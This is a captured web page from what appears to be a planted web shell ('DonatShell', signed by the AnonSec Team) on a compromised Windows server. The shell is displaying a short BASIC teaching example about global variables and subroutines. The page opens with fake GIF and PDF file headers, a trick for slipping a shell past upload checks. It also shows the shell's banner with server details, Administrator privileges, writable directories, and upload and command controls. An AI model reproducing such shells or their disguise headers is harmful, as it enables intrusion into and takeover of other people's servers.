GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.02.14/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.02.14/sub.bas
' SUB

global myNumber 'Defining myNumber as global will allow mySub to change it. Comment this line to see non-global behavior.

myNumber = 5
print "line 1; myNumber=";myNumber
myNumber = myNumber*2
call mySub myNumber ' To pass the value of variables, list them after the subroutine name
print "line 2; myNumber=";myNumber
myNumber = myNumber*2
end ' Removing this end statement will not matter. The program stops when it hits the sub statement.

' This is a subroutine.
'sub mySub myNumber ' If you use this line then myNumber is declaired local and the global above has no effect here.
sub mySub anotherNumber
print "line 3; myNumber=";myNumber
print "line 3; anotherNumber=";anotherNumber
myNumber = myNumber*2
end sub

print "The End!" ' The program will NEVER get here.

Anon7 - 2022
AnonSec Team